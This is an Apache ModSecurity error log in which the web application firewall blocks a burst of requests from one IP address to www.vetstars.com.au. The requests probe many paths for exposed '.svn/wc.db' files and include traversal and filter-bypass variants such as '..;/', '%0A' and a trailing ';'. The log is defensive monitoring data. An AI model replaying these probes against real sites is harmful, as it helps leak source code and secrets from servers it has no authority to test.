[Wed Dec 03 07:13:53.350042 2025] [:error] [pid 21970:tid 21993] [client 213.21.239.4:41006] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/data/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdywAAABE"]
[Wed Dec 03 07:13:53.350904 2025] [:error] [pid 22083:tid 22108] [client 213.21.239.4:41016] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/a/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQkAAAAFc"]
[Wed Dec 03 07:13:53.354488 2025] [:error] [pid 22083:tid 22106] [client 213.21.239.4:41066] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/developer/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQkQAAAFU"]
[Wed Dec 03 07:13:53.355972 2025] [:error] [pid 21970:tid 21980] [client 213.21.239.4:40874] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/cms/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdzQAAAAQ"]
[Wed Dec 03 07:13:53.355992 2025] [:error] [pid 22013:tid 22023] [client 213.21.239.4:41028] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars../wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbfgAAAMQ"]
[Wed Dec 03 07:13:53.356360 2025] [:error] [pid 21970:tid 21984] [client 213.21.239.4:41064] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdzAAAAAg"]
[Wed Dec 03 07:13:53.357639 2025] [:error] [pid 21970:tid 21986] [client 213.21.239.4:40878] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdzgAAAAo"]
[Wed Dec 03 07:13:53.360606 2025] [:error] [pid 22083:tid 22088] [client 213.21.239.4:40936] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/blog/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQkgAAAEM"]
[Wed Dec 03 07:13:53.360986 2025] [:error] [pid 22083:tid 22092] [client 213.21.239.4:40908] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/build/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQkwAAAEc"]
[Wed Dec 03 07:13:53.362096 2025] [:error] [pid 22013:tid 22027] [client 213.21.239.4:40972] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/dev/.svn/wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbfwAAAMg"]
[Wed Dec 03 07:13:53.363388 2025] [:error] [pid 22083:tid 22095] [client 213.21.239.4:41032] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/database/.svn/wc.db"] [unique_id "aS9ysficvKZCy0M9-zyQlAAAAEo"]
[Wed Dec 03 07:13:53.363625 2025] [:error] [pid 22013:tid 22021] [client 213.21.239.4:40994] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/beta/.svn/wc.db"] [unique_id "aS9ysYpUogO0aqsrpMVbgAAAAMI"]
[Wed Dec 03 07:13:53.364103 2025] [:error] [pid 21970:tid 21996] [client 213.21.239.4:41034] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/demo/.svn/wc.db"] [unique_id "aS9ysWYwAeqEfyJIWdRdzwAAABQ"]
[Wed Dec 03 07:13:57.159293 2025] [:error] [pid 22013:tid 22041] [client 213.21.239.4:41156] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/..;/.svn/wc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbhAAAANY"]
[Wed Dec 03 07:13:57.159751 2025] [:error] [pid 24019:tid 24036] [client 213.21.239.4:41130] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars/wc.db"] [unique_id "aS9ytZkVRhF9Pu1FX0O_KgAAAI4"]
[Wed Dec 03 07:13:57.162084 2025] [:error] [pid 24019:tid 24031] [client 213.21.239.4:41080] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.svn/wc.db"] [unique_id "aS9ytZkVRhF9Pu1FX0O_KwAAAIk"]
[Wed Dec 03 07:13:57.162255 2025] [:error] [pid 22014:tid 22050] [client 213.21.239.4:41194] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/static../.svn/wc.db"] [unique_id "aS9ytQgpXEQej7y9Y6bnIQAAAQQ"]
[Wed Dec 03 07:13:57.165864 2025] [:error] [pid 22083:tid 22101] [client 213.21.239.4:41120] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au../.svn/wc.db"] [unique_id "aS9ytficvKZCy0M9-zyQmQAAAFA"]
[Wed Dec 03 07:13:57.167193 2025] [:error] [pid 22083:tid 22087] [client 213.21.239.4:41112] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.svn/%0Awc.db"] [unique_id "aS9ytficvKZCy0M9-zyQmgAAAEI"]
[Wed Dec 03 07:13:57.167873 2025] [:error] [pid 22014:tid 22069] [client 213.21.239.4:41082] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/wc.db"] [unique_id "aS9ytQgpXEQej7y9Y6bnIgAAARc"]
[Wed Dec 03 07:13:57.168666 2025] [:error] [pid 22014:tid 22061] [client 213.21.239.4:41098] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.svn/wc.db;"] [unique_id "aS9ytQgpXEQej7y9Y6bnIwAAAQ8"]
[Wed Dec 03 07:13:57.169769 2025] [:error] [pid 22013:tid 22020] [client 213.21.239.4:41162] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/..;/.svn/wc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbhQAAAME"]
[Wed Dec 03 07:13:57.170688 2025] [:error] [pid 22083:tid 22109] [client 213.21.239.4:41124] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.svn/wc.db;.."] [unique_id "aS9ytficvKZCy0M9-zyQmwAAAFg"]
[Wed Dec 03 07:13:57.174218 2025] [:error] [pid 22014:tid 22070] [client 213.21.239.4:41216] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.svn/wc.db;.."] [unique_id "aS9ytQgpXEQej7y9Y6bnJAAAARg"]
[Wed Dec 03 07:13:57.174274 2025] [:error] [pid 21970:tid 21985] [client 213.21.239.4:41190] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.svn/wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd2gAAAAk"]
[Wed Dec 03 07:13:57.176331 2025] [:error] [pid 21970:tid 21983] [client 213.21.239.4:41140] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars../.svn/wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd2wAAAAc"]
[Wed Dec 03 07:13:57.178071 2025] [:error] [pid 22013:tid 22043] [client 213.21.239.4:41252] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.svn;/wc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbhgAAANg"]
[Wed Dec 03 07:13:57.179382 2025] [:error] [pid 22014:tid 22067] [client 213.21.239.4:41218] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.svn;/wc.db"] [unique_id "aS9ytQgpXEQej7y9Y6bnJQAAARU"]
[Wed Dec 03 07:13:57.180191 2025] [:error] [pid 21970:tid 21993] [client 213.21.239.4:41224] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/dot.svn/wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd3AAAABE"]
[Wed Dec 03 07:13:57.180638 2025] [:error] [pid 21970:tid 21997] [client 213.21.239.4:41176] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/;/.svn/wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd3QAAABU"]
[Wed Dec 03 07:13:57.182906 2025] [:error] [pid 22013:tid 22024] [client 213.21.239.4:41138] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.svn/%0Awc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbhwAAAMU"]
[Wed Dec 03 07:13:57.183050 2025] [:error] [pid 22013:tid 22036] [client 213.21.239.4:41236] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/events../.svn/wc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbiAAAANE"]
[Wed Dec 03 07:13:57.183624 2025] [:error] [pid 22013:tid 22032] [client 213.21.239.4:41222] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/;/.svn/wc.db"] [unique_id "aS9ytYpUogO0aqsrpMVbiQAAAM0"]
[Wed Dec 03 07:13:57.186159 2025] [:error] [pid 22014:tid 22056] [client 213.21.239.4:41258] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.svn/%0Awc.db"] [unique_id "aS9ytQgpXEQej7y9Y6bnJgAAAQo"]
[Wed Dec 03 07:13:57.190070 2025] [:error] [pid 22014:tid 22048] [client 213.21.239.4:41210] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.svn/wc.db;"] [unique_id "aS9ytQgpXEQej7y9Y6bnJwAAAQI"]
[Wed Dec 03 07:13:57.194439 2025] [:error] [pid 22014:tid 22052] [client 213.21.239.4:41266] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/static../.svn/wc.db"] [unique_id "aS9ytQgpXEQej7y9Y6bnKAAAAQY"]
[Wed Dec 03 07:13:57.194994 2025] [:error] [pid 21970:tid 21986] [client 213.21.239.4:41244] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/flock/.svn/wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd3wAAAAo"]
[Wed Dec 03 07:13:57.196667 2025] [:error] [pid 21970:tid 21980] [client 213.21.239.4:41208] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au../wc.db"] [unique_id "aS9ytWYwAeqEfyJIWdRd3gAAAAQ"]
[Wed Dec 03 07:14:01.164004 2025] [:error] [pid 22014:tid 22061] [client 213.21.239.4:41294] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/.svn;/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnLgAAAQ8"]
[Wed Dec 03 07:14:01.164147 2025] [:error] [pid 22083:tid 22098] [client 213.21.239.4:41280] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.svn/wc.db"] [unique_id "aS9yuficvKZCy0M9-zyQoAAAAE0"]
[Wed Dec 03 07:14:01.164761 2025] [:error] [pid 22014:tid 22070] [client 213.21.239.4:41318] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.svn/wc.db;.."] [unique_id "aS9yuQgpXEQej7y9Y6bnLwAAARg"]
[Wed Dec 03 07:14:01.165093 2025] [:error] [pid 22083:tid 22101] [client 213.21.239.4:41314] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.svn/wc.db;"] [unique_id "aS9yuficvKZCy0M9-zyQoQAAAFA"]
[Wed Dec 03 07:14:01.169306 2025] [:error] [pid 22013:tid 22036] [client 213.21.239.4:41300] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/..;/.svn/wc.db"] [unique_id "aS9yuYpUogO0aqsrpMVbjwAAANE"]
[Wed Dec 03 07:14:01.171466 2025] [:error] [pid 22014:tid 22067] [client 213.21.239.4:41320] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/js../.svn/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnMAAAARU"]
[Wed Dec 03 07:14:01.181302 2025] [:error] [pid 22014:tid 22048] [client 213.21.239.4:41372] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/svn/.svn/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnMQAAAQI"]
[Wed Dec 03 07:14:01.182743 2025] [:error] [pid 22014:tid 22046] [client 213.21.239.4:41358] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/;/.svn/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnMgAAAQA"]
[Wed Dec 03 07:14:01.184842 2025] [:error] [pid 22014:tid 22056] [client 213.21.239.4:41330] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/img../.svn/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnMwAAAQo"]
[Wed Dec 03 07:14:01.185665 2025] [:error] [pid 22014:tid 22052] [client 213.21.239.4:41344] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/images../.svn/wc.db"] [unique_id "aS9yuQgpXEQej7y9Y6bnNAAAAQY"]
[Wed Dec 03 07:14:02.154530 2025] [:error] [pid 22014:tid 22062] [client 213.21.239.4:39882] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/lib../.svn/wc.db"] [unique_id "aS9yuggpXEQej7y9Y6bnOQAAARA"]
[Wed Dec 03 07:14:02.156327 2025] [:error] [pid 22083:tid 22097] [client 213.21.239.4:39886] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/__MACOSX/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQowAAAEw"]
[Wed Dec 03 07:14:02.159078 2025] [:error] [pid 22083:tid 22096] [client 213.21.239.4:39944] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/public/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQpAAAAEs"]
[Wed Dec 03 07:14:02.160404 2025] [:error] [pid 22013:tid 22030] [client 213.21.239.4:39970] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/old-cuburn/.svn/wc.db"] [unique_id "aS9yuopUogO0aqsrpMVbkwAAAMs"]
[Wed Dec 03 07:14:02.160404 2025] [:error] [pid 22083:tid 22086] [client 213.21.239.4:39872] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/live/.svn/wc.db"] [unique_id "aS9yuvicvKZCy0M9-zyQpgAAAEE"]
